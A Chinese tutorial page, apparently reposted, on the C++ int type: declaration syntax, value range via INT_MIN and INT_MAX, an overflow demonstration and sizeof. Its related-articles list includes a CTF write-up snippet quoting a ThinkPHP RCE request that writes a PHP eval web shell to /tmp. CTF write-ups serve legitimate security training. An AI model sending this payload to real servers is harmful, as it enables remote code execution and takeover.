【自学C++】C++ int

news2024/11/19 4:15:58

C++ int

C++ int教程

C++ 中的 int 用来表示一个 整数,也可以叫做整型,int 的取值范围是介于 shortlong 之间的。

C++ int定义详解

语法

int varname = value;

参数

参数描述
int定义 int 类型变量使用的类型。
varname变量名。
value可选,变量的初始值,该值不可以超过 int 类型的最大值。

说明

使用 int 定义了一个 int 类型的变量 varname,并赋初值为 value。

C++ int详解

说明描述
取值范围-2147483648 ~ 2147483647
字节数4

说明

C++ 的 int 的取值范围为 -2147483648 ~ 2147483647,同时,在 limits.h 中有 常量 INT_MIN 表示其最小值和 INT_MAX 表示其最大值。

案例

定义int变量

使用 int 定义 int 变量

#include <iostream>
#include <climits>
using namespace std;

int main(int argc, char **argv)
{
	cout << "嗨客网(www.haicoder.net)\n" << endl;
	
	int a = 101;
	int b = 201, c = 301, d = 1024;
	
	cout << "a = " << a << endl;
	cout << "b = " << b << " c = " << c << " d = " << d << endl;
}

程序运行后,控制台输出如下:

请添加图片描述

我们首先,定义了一个 int 类型的变量 a,并初始化为 101,接着,我们一次定义了三个 int 类型的变量,分别为 b,c 和 d,并分别初始化。

最后,我们使用了 cout 打印了我们定义的四个变量的值。

int变量取值范围

使用 limits.h 获取 int 的取值范围

#include <iostream>
#include <climits>
using namespace std;

int main(int argc, char **argv)
{
	cout << "嗨客网(www.haicoder.net)\n" << endl;
	
	int intMin = INT_MIN;
	int intMax = INT_MAX;
	
	cout << "intMin = " << intMin << " intMax = " << intMax << endl;
}

程序运行后,控制台输出如下:

请添加图片描述

我们首先,使用 include 引入了 limits.h 头文件,接着,我们使用了常量 INT_MIN 和 INT_MAX 分别获取了 int 类型的最小值和最大值。

同时,我们将最小值和最大值分别赋值给了变量 intMin 和 intMax,最后,我们使用 cout 输出了 int 类型的最大值和最小值。

int变量超出范围

如果变量超出了 int 范围,结果未知

#include <iostream>
#include <climits>
using namespace std;

int main(int argc, char **argv)
{
	cout << "嗨客网(www.haicoder.net)\n" << endl;
	
	int intMin = INT_MIN - 100;
	int intMax = INT_MAX + 100;
	
	cout << "intMin = " << intMin << " intMax = " << intMax << endl;
}

程序运行后,控制台输出如下:

请添加图片描述

我们分别定义了一个 int 类型的变量 intMin 和 intMax,同时,我们将 intMin 赋值为 int 类型的最小值还减去 100,将 intMax 赋值为 int 类型的最大值还加上 100。

最后,我们输出了 intMin 和 intMax,我们发现,此时的 intMin 的值和 intMax 的值已经不是正确的值了,已经发生了溢出。

因此,我们定义变量时,变量的值一定不要超过变量的取值范围。

int字节数

使用 sizeof,获取 int 的字节

#include <iostream>
#include <climits>
using namespace std;

int main(int argc, char **argv)
{
	cout << "嗨客网(www.haicoder.net)\n" << endl;
	
	int num = 100;
	
	cout << "sizeof int = " << sizeof(int) << endl;
}

程序运行后,控制台输出如下:

请添加图片描述

我们使用 sizeof 获取了 int 变量所占的字节数,结果,输出了 4,即 int 占 4 字节。

C++ int总结

C++ 的 int 的取值范围为 -2147483648 ~ 2147483647,int 占 4 个字节。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/149150.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux应用编程---9.消息队列

Linux应用编程—9.消息队列 ​ 消息队列用于进程之间的通讯&#xff0c;可以在如父子进程、兄弟进程这样的具有亲缘关系的进程之间传递数据&#xff0c;也可以用于具有非亲缘关系的进程之间通讯。消息队列可以传递结构体&#xff0c;所以可以发送任意数据类型。与消息队列有关…

数据结构(一)——链表

链表与邻接表 介绍 链表作为一种基础数据结构&#xff0c;具有几个特点&#xff1a; 优点&#xff1a;插入、删除非常快&#xff08;需要知道需要插入和删除节点前一个位置&#xff09;缺点&#xff1a;查询、访问&#xff08;用索引&#xff09;非常的慢 链表的创建方法一…

Selenium用法详解【cookies操作】【JAVA爬虫】

简介本文主要讲解java代码利用Selenium控制浏览器获取网站的cookies,对网站cookies的相关操作教程。cookies操作cookies 是识别用户登录与否的关键&#xff0c;爬虫中常常使用 selenium jsoup 实现 cookie持久化&#xff0c;即先用 selenium 模拟登陆获取 cookie &#xff0c;…

你可能从未想过的:人工智能未来50年的安全领域问题

前言 随着人工智能技术的普及和发展&#xff0c;很多人工智能出现的故障和问题也会愈发明显。本文简单讲述了未来50年人工智能发展过程中可能会出现的景象和问题。 一、人工智能独立 尽管很可能第一批人工智能是由人类发明制作的&#xff0c;但随着大量基础设施的完善&#x…

javaweb-会话技术CookieSession

文章目录会话技术Cookie&Session1&#xff0c;会话跟踪技术的概述2&#xff0c;Cookie2.1 Cookie的基本使用2.2 Cookie的原理分析2.3 Cookie的使用细节2.3.1 Cookie的存活时间2.3.2 Cookie存储中文3&#xff0c;Session3.1 Session的基本使用3.2 Session的原理分析3.3 Sess…

4.8、网际控制报文协议 ICMP

为了更有效地转发 IP 数据报和提高交付成功的机会 在网际层使用了网际控制报文协议 ICMP(Internet Control Message Protocol)。 主机或路由器使用 ICMP 来发送 差错报告报文\color{red}差错报告报文差错报告报文和询问报文\color{red}询问报文询问报文。 ICMP报文被封装在IP…

基于采样的规划算法之动态窗口法(DWA)

动态规划将一个多步决策问题拆分成若干子问题,并且保证子问题的最优解能推出完整问题的最优解。所以,动态规划可以得到采样空间下的最优路径解。本章介绍的动态窗口法(Dynamic Window Approach, DWA)与动态规划类似,也是将从起点到终点的多步决策问题拆分成一系列子问题—…

Linux应用编程---1.线程与进程

Linux应用编程—1.线程与进程 1 重要概念 1.1 程序 ​ 程序指的是还没有运行起来的源代码&#xff0c;比如电脑上安装的“Keil MDK”、“Xshell”等等。 1.2 进程 ​ Win10环境下&#xff0c;打开任务管理器&#xff0c;能看到有“进程”一栏&#xff0c;点击进去能看到5个…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

QT-5.12: QSqlDatabase: QMYSQL driver not loaded 错误及解决方案

错误现象及原因&#xff1a; &#xff08;1&#xff09;qt SQL模块已默认不编译mysql驱动&#xff0c;导致mysql驱动缺失&#xff0c;错误提示如下&#xff08;可用数数据库驱动不含mysql驱动&#xff0c;执行方法一和二&#xff09;&#xff1b; &#xff08;2&#xff09;已…

C++新基础类型long long, char8_t, char16_t, char32_t

C新基础类型long long, char8_t, char16_t, char32_t一、整数类型 long long二、新字符类型 char16_t 和 char32_t三、char8_t 字符类型一、整数类型 long long 我们知道long通常表示一个32位整型&#xff0c;而long long则是用来表示一个64位的整型。 C标准中定义&#xff0…

vue3包依赖关系

包reactivity &#xff1a;响应式API&#xff0c;例如toRef、reactive、Effect、computed、watch等&#xff0c;可作为与框架无关的包&#xff0c;独立构建runtime-core&#xff1a;平台无关的运行时核心代码。包括虚拟dom渲染、组件实现和JavaScript API。可以使用这个包针对特…

机器学习实战教程(十一):线性回归基础篇

一、前言前面的文章介绍了很多分类算法&#xff0c;分类的目标变量是标称型数据&#xff0c;而本文将会对连续型的数据做出预测。主要讲解简单的线性回归和局部加权线性回归&#xff0c;并通过预测鲍鱼年龄的实例进行实战演练。二、什么是回归&#xff1f;回归的目的是预测数值…

Java学习笔记——继承(下)

目录继承中构造方法的访问特点构造方法的访问特点-父类没有空参构造方法代码优化和内存图解xx信息管理系统-集成改进抽象类入门抽象类的注意事项模板设计模式final关键字xx信息管理系统——抽象类改进代码块xx信息管理系统-代码块改进继承中构造方法的访问特点 子类再初始化之…

汽车电子行业入门指南「2022年国内主要新能源车销量」

汽车电子行业入门指南 雪云飞星 2022年国内主要新能源车销量 2022年汽车行业内的人们可谓是经历了很多&#xff1a;4月上海疫情、华为携问界的强势入局、年底取消新能源免购置税等等。对于博主而言也算人生一个小阶段&#xff0c;年底离开了曾经奋斗的某为&#xff0c;翻开了…

序列傅里叶变换

序列傅里叶变换定义 序列傅里叶变换 (DFT) 是一种数学变换&#xff0c;它将一个有限长度的序列转换为其频谱表示。它使用一个复数数组表示序列的频谱&#xff0c;其中每个元素表示对应的频率成分的幅度和相位。 DFT 的公式为&#xff1a; X[k] ∑n0 to N-1 x[n] * e^(-j2πkn/…

Unreal UCLASS常用的类标记宏

BlueprintType,使当前类可以作为蓝图中的类型使用。新建一个继承UObject的C类CustomObject:UObject默认是无法作为蓝图中的类型使用的,打开关卡蓝图,声明一个CustomObject变量:可以看到,这里无法声明CustomObject类型的变量,我们为CustomObject添加BlueprintType标记宏:这样我们…

我的2022,为什么要跳出舒适圈?

1前言今天的冬日暖阳高照&#xff0c;给我羽绒服下的肉身火一般的燥热&#xff0c;给了我一个错觉&#xff0c;以为到了阳春三月。刚刚送完老妈还有老婆孩子回老家&#xff0c;我坐到电脑机器前&#xff0c;准备捋一下思绪&#xff0c;回首2022的生活和工作。 2 2022 回顾今年用…

从零开始搭建Dubbo环境并整合Dubbo+SpringBoot

Windows环境搭建 1. 安装Zookeeper 下载 zookeeper3.5 下载地址 https://zookeeper.apache.org/releases.html#download 下载完成以后, 解压到一个目录下 然后把 zoo_sample.cfg 复制一份, 重命名为 zoo.cfg 修改配置文件 zoo.cfg 中的 dataDir 这个配置 修改为 dataDir../z…

pygame - 图片移动优化 - 引入面向对象思想

目录 一、基本框架 二、代码段 1、附注释 2、无注释 三、效果展示 备注&#xff1a;pygame - 图片移动优化中未对属性和方法进行封装&#xff0c;本篇文章将引入面向对象思想 一、基本框架 import sys import time import pygamepygame.init()SCREEN_WIDTH 680 SCREEN…